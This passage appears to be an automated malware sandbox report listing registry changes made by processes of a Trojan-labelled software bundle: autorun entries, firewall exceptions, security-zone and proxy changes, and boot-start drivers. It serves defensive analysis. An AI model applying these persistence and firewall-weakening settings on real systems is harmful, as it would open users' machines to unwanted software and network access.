"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process pczh_107_306.exe:828 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\°®Çé.ÖÇ»Û.5.2]
"DisplayIcon" = "%Program Files%\ainqngz5.2\uninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\°®Çé.ÖÇ»Û.5.2]
"DisplayVersion" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\°®Çé.ÖÇ»Û.5.2]
"DisplayName" = "°®Çé.ÖÇ»Û5.2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Templates" = "%Documents and Settings%\%current user%\Templates"

[HKLM\SOFTWARE\dsrs]
"et" = "2014-8-17"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Ainqngz5.2.exe]
"(Default)" = "%Program Files%\ainqngz5.2\Ainqngz5.2.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\dsrs]
"EX" = "1"
"ED" = "107"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\°®Çé.ÖÇ»Û.5.2]
"UninstallString" = "%Program Files%\ainqngz5.2\uninstall.exe"

[HKLM\SOFTWARE\dsrs]
"EN" = "pczh_107_306.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D0 24 7D D0 AD FB 86 51 91 39 16 F0 CA 30 BA 85"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

The process baiduanTray.exe:2772 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FC EC 8F E5 61 89 CD 3E EE 9C 04 20 BE 33 1A CF"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Baidu\BaiduAn]
"PAUTime" = "1800000"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"

The process spkjrjp_30279.exe:1632 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "31 74 40 8A 66 32 9C FD 13 60 E5 0A 5B 55 82 A2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

Adds a rule to the firewall Windows which allows any network activity:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\%Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp]
"spkjrjp_30279.exe" = "%Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp\spkjrjp_30279.exe:*:Enabled:百度杀毒在线安装程序"

The Trojan adds process executable file it works in to the list of trusted Windows Firewall applications:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List\%Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp]
"spkjrjp_30279.exe" = "%Documents and Settings%\%current user%\Local Settings\Temp\nsi3.tmp\spkjrjp_30279.exe:*:Enabled:百度杀毒在线安装程序"

The process yymusic05.exe:2308 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "12 D8 36 0B 6B C0 73 CF B0 62 9B C7 38 0B 4F 8F"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\yyfm0529]
"RD" = "_2014081705"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"yyfm0529_2014081705" = "%Program Files%\yyfm0529\2014081705\yymusic05.exe -mini"

"yyfm0529_News_2014081705" = "%Program Files%\yyfm0529\2014081705\YFMSever.exe -mini"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

"ProxyServer"

"AutoConfigURL"

The Trojan disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"BoxNews"

"yyfm0529_News"

"YyfmPlay"

"yyfm0529"

The process regsvr32.exe:3184 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CF 5C E4 36 66 50 F5 4A 72 B7 19 7F 1C B3 FE E2"

[HKCR\Interface\{6B3732AA-F6D4-4F16-9E22-49EDC52C9514}]
"(Default)" = "IDownloader_2"

[HKCR\CLSID\{7044CE4B-FE34-4DD1-A0FA-157E1E179ECA}\InProcServer32]
"ThreadingModel" = "Both"

[HKCR\CLSID\{7044CE4B-FE34-4DD1-A0FA-157E1E179ECA}]
"(Default)" = "PSFactoryBuffer"

[HKCR\Interface\{6B3732AA-F6D4-4F16-9E22-49EDC52C9514}\ProxyStubClsid32]
"(Default)" = "{7044CE4B-FE34-4DD1-A0FA-157E1E179ECA}"

[HKCR\CLSID\{7044CE4B-FE34-4DD1-A0FA-157E1E179ECA}\InProcServer32]
"(Default)" = "c:\program files\common files\baidu\bddownload\107\bdcomproxy.dll"

[HKCR\Interface\{7044CE4B-FE34-4DD1-A0FA-157E1E179ECA}]
"(Default)" = "IDownloader"

[HKCR\Interface\{6B3732AA-F6D4-4F16-9E22-49EDC52C9514}\NumMethods]
"(Default)" = "6"

[HKCR\Interface\{7044CE4B-FE34-4DD1-A0FA-157E1E179ECA}\NumMethods]
"(Default)" = "15"

[HKCR\Interface\{7044CE4B-FE34-4DD1-A0FA-157E1E179ECA}\ProxyStubClsid32]
"(Default)" = "{7044CE4B-FE34-4DD1-A0FA-157E1E179ECA}"

The process BDALeakfixer.exe:3640 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8E E2 8C 48 C3 C8 8F FA E9 34 86 F7 6D 36 73 6A"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process BaiduAn.exe:3516 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "64 30 5E 0B 56 B9 66 18 AE B4 6F 82 2C 23 D8 63"

The process BaiduAn.exe:3208 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D6 D9 26 7C 37 15 32 2B 04 B5 39 7F 5B DB 86 7C"

The process BaiduAnSvc.exe:3884 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F8 66 6A F8 AB 67 FE 92 BE 38 93 EE 0F 8F 41 13"

[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"bddriver" = "02 00 00 00 01 00 00 00 02 00 00 00"

[HKLM\System\CurrentControlSet\Services\BDMWrench]
"Type" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\System\CurrentControlSet\Services\BDMWrench]
"DisplayName" = "BDMWrench"

"ErrorControl" = "0"

[HKLM\System\CurrentControlSet\Services\BDMRTP]
"ImagePath" = "%Program Files%\Baidu\BaiduAn\2.3.0.2225\BaiduAnSvc.exe -r"

[HKLM\System\CurrentControlSet\Services\BDMWrench]
"Tag" = "5"
"Group" = "bddriver"
"ImagePath" = "system32\DRIVERS\BDMWrench.sys"

[HKU\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ParseAutoexec" = "1"

[HKLM\System\CurrentControlSet\Services\BDMWrench]
"Description" = "BDMWrench"

The following driver will be automatically launched by the NT Native code (IoInitSystem method):

[HKLM\System\CurrentControlSet\Services\BDMWrench]
"Start" = "1"

[HKLM\System\CurrentControlSet\Services\BDEnhanceBoost]
"Start" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"BaiduAnTray" = "%Program Files%\Baidu\BaiduAn\2.3.0.2225\BaiduAnTray.exe -stmd=3"

The Trojan deletes the following registry key(s):

[HKLM\System\CurrentControlSet\Services\BDMWrench\Security]
[HKLM\System\CurrentControlSet\Services\BDMWrench]
[HKLM\System\CurrentControlSet\Services\BDMWrench\Enum]

The Trojan deletes the following value(s) in system registry:

[HKLM\System\CurrentControlSet\Services\BDMWrench]
"DeleteFlag"

The process BaiduAnSvc.exe:3732 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F1 A2 73 A3 03 16 9B 36 DB 96 76 52 45 0A D2 12"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process oovmdw_70745.exe:444 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\百度卫士]
"Publisher" = "百度在线网络技术（北京）有限公司"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\百度卫士]
"DisplayVersion" = "2.3.0.2225"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Baidu\BaiduAn\2.3.0.2225]
"BaiduAnSvc.exe" = "百度卫士服务程序"

[HKLM\System\CurrentControlSet\Services\BDMNetMon]
"Type" = "1"
"DisplayName" = "BDMNetMon"

[HKLM\System\CurrentControlSet\Services\bd0001]
"Type" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\百度卫士]
"DisplayIcon" = "%Program Files%\Baidu\BaiduAn\2.3.0.2225\app.ico"

[HKLM\SOFTWARE\Baidu\BaiduAn]
"InstallDate" = "2014-8-17"

[HKLM\System\CurrentControlSet\Services\bd0002]
"Tag" = "2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\System\CurrentControlSet\Services\BDArKit]
"Tag" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCR\Unknown\shell\openas\command]
"DelegateExecute" = ""

[HKLM\System\CurrentControlSet\Services\BDArKit]
"ErrorControl" = "0"
"Description" = "BDArKit"

[HKCR\metnsd\clsid]
"SequenceID" = "FB 55 2E A1 EA F0 0A 44 8F E2 56 75 C3 E3 C7 3D"

[HKLM\SOFTWARE\Baidu\BaiduAn]
"VirusTime" = "2013.04.05 1216"

[HKLM\System\CurrentControlSet\Services\bd0002]
"Type" = "1"

[HKCR\Unknown\shell\openas\command]
"(Default)" = "%Program Files%\Baidu\BaiduAn\2.3.0.2225\BDAFileHelper.exe -file=%1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\System\CurrentControlSet\Services\BDMNetMon]
"Tag" = "3"

[HKLM\SOFTWARE\Baidu\BaiduAn]
"INSTLANG" = "2052"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKLM\SOFTWARE\Baidu\BaiduAn]
"Version" = "2.3.0.2225"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "06 30 C9 7B 65 74 2D 3E B4 A2 0A A5 D2 8E 5C 53"

[HKLM\System\CurrentControlSet\Services\bd0001]
"DisplayName" = "bd0001"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Services\BDArKit]
"Group" = "bddriver"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Baidu\BaiduAn\2.3.0.2225]
"bddownloader.exe" = "百度高速下载引擎"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\百度卫士]
"UninstallString" = "%Program Files%\Baidu\BaiduAn\2.3.0.2225\uninst.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Services\bd0001]
"Tag" = "1"

[HKLM\System\CurrentControlSet\Services\BDArKit]
"ImagePath" = "system32\DRIVERS\BDArKit.sys"

[HKLM\SOFTWARE\Baidu\BaiduAn]
"RtpFlag" = "273"

[HKLM\System\CurrentControlSet\Services\bd0002]
"DisplayName" = "bd0002"

"ErrorControl" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKLM\System\CurrentControlSet\Services\bd0002]
"Group" = "bddriver"

[HKLM\System\CurrentControlSet\Services\bd0001]
"ImagePath" = "system32\DRIVERS\bd0001.sys"

[HKLM\System\CurrentControlSet\Services\BDMNetMon]
"ImagePath" = "system32\DRIVERS\BDMNetMon.sys"
"ErrorControl" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Services\bd0001]
"ErrorControl" = "0"

[HKLM\System\CurrentControlSet\Services\bd0002]
"Description" = "bd0002"

[HKLM\System\CurrentControlSet\Services\BDArKit]
"Type" = "1"

[HKLM\SOFTWARE\Baidu\BaiduAn]
"SupplyID" = "70745"
"InstallDir" = "%Program Files%\Baidu\BaiduAn"

[HKLM\System\CurrentControlSet\Services\BDMNetMon]
"Description" = "BDMNetMon"

[HKLM\System\CurrentControlSet\Services\bd0002]
"ImagePath" = "system32\DRIVERS\bd0002.sys"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"bddriver" = "02 00 00 00 01 00 00 00 02 00 00 00"

[HKLM\System\CurrentControlSet\Services\bd0002]
"InstallDir_gj" = "%Program Files%\Baidu\BaiduAn\2.3.0.2225"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\百度卫士]
"DisplayName" = "百度卫士2.3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Services\BDMNetMon]
"Group" = "bddriver"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\System\CurrentControlSet\Services\BDArKit]
"DisplayName" = "BDArKit"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\System\CurrentControlSet\Control\ServiceGroupOrder]
"List" = "System Reserved, Boot Bus Extender, System Bus Extender, SCSI miniport, Port, Primary Disk, SCSI Class, SCSI CDROM Class, FSFilter Infrastructure, FSFilter System, FSFilter Bottom, FSFilter Copy Protection, FSFilter Security Enhancer, FSFilter Open File, FSFilter Physical Quota Management, FSFilter Encryption, FSFilter Compression, FSFilter HSM, FSFilter Cluster File System, FSFilter System Recovery, FSFilter Quota Management, FSFilter Content Screener, FSFilter Continuous Backup, FSFilter Replication, FSFilter Anti-Virus, FSFilter Undelete, bddriver, FSFilter Activity Monitor, FSFilter Top, Filter, Boot File System, Base, Pointer Port, Keyboard Port, Pointer Class, Keyboard Class, Video Init, Video, Video Save, File System, Event Log, Streams Drivers, NDIS Wrapper, COM Infrastructure, UIGroup, LocalValidation, PlugPlay, PNP_TDI, NDIS, TDI, NetBIOSGroup, ShellSvcGroup, SchedulerGroup, SpoolerGroup, AudioGroup, SmartCardGroup, NetworkProvider, RemoteValidation, NetDDEGroup, Parallel arbitrator, Extended Base, PCI Configuration, MS Transactions"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Baidu\BaiduAn\2.3.0.2225]
"BaiduAn.exe" = "百度卫士主程序"

[HKLM\System\CurrentControlSet\Services\bd0001]
"Group" = "bddriver"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Baidu\BaiduAn\2.3.0.2225]
"vcredist_x86.exe" = "IExpress Setup"

[HKLM\System\CurrentControlSet\Services\bd0001]
"Description" = "bd0001"

The Trojan adds process executable file it works in to the list of trusted Windows Firewall applications:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List\%Program Files%\Baidu\BaiduAn\2.3.0.2225]
"BaiduAnSvc.exe" = "%Program Files%\Baidu\BaiduAn\2.3.0.2225\BaiduAnSvc.exe:*:Enabled:百度卫士服务程序"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

Adds a rule to the firewall Windows which allows any network activity:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\%Program Files%\updatr]
"oovmdw_70745.exe" = "%Program Files%\updatr\oovmdw_70745.exe:*:Enabled:百度卫士在线安装程序"

The Trojan adds process executable file it works in to the list of trusted Windows Firewall applications:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List\%Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp]
"snczjmr.dll" = "%Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\snczjmr.dll:*:Enabled:百度卫士安装程序"

Adds a rule to the firewall Windows which allows any network activity:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\%Program Files%\Baidu\BaiduAn\2.3.0.2225]
"BaiduAnSvc.exe" = "%Program Files%\Baidu\BaiduAn\2.3.0.2225\BaiduAnSvc.exe:*:Enabled:百度卫士服务程序"

The following service will be launched automatically at system boot up:

[HKLM\System\CurrentControlSet\Services\BDMNetMon]
"Start" = "2"

The Trojan adds process executable file it works in to the list of trusted Windows Firewall applications:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List\%Program Files%\updatr]
"oovmdw_70745.exe" = "%Program Files%\updatr\oovmdw_70745.exe:*:Enabled:百度卫士在线安装程序"

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List\%Program Files%\Baidu\BaiduAn\2.3.0.2225]
"BaiduAnUpdate.exe" = "%Program Files%\Baidu\BaiduAn\2.3.0.2225\BaiduAnUpdate.exe:*:Enabled:百度卫士更新程序"

Adds a rule to the firewall Windows which allows any network activity:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\%Program Files%\Baidu\BaiduAn\2.3.0.2225]
"BaiduAnTray.exe" = "%Program Files%\Baidu\BaiduAn\2.3.0.2225\BaiduAnTray.exe:*:Enabled:百度卫士托盘程序"

The Trojan adds process executable file it works in to the list of trusted Windows Firewall applications:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List\%Program Files%\Baidu\BaiduAn\2.3.0.2225]
"BaiduAnBugRpt.exe" = "%Program Files%\Baidu\BaiduAn\2.3.0.2225\BaiduAnBugRpt.exe:*:Enabled:百度卫士BUG上报程序"

Adds a rule to the firewall Windows which allows any network activity:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\%Program Files%\Baidu\BaiduAn\2.3.0.2225]
"BaiduAnUpdate.exe" = "%Program Files%\Baidu\BaiduAn\2.3.0.2225\BaiduAnUpdate.exe:*:Enabled:百度卫士更新程序"

The following service will be launched automatically at system boot up:

[HKLM\System\CurrentControlSet\Services\BDArKit]
"Start" = "2"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The following driver will be automatically launched by the NT Native code (IoInitSystem method):

[HKLM\System\CurrentControlSet\Services\bd0002]
"Start" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The following driver will be automatically launched by the NT Native code (IoInitSystem method):

[HKLM\System\CurrentControlSet\Services\bd0001]
"Start" = "1"

Adds a rule to the firewall Windows which allows any network activity:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\%Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp]
"snczjmr.dll" = "%Documents and Settings%\%current user%\Local Settings\Temp\nsw6.tmp\snczjmr.dll:*:Enabled:百度卫士安装程序"

The Trojan adds process executable file it works in to the list of trusted Windows Firewall applications:

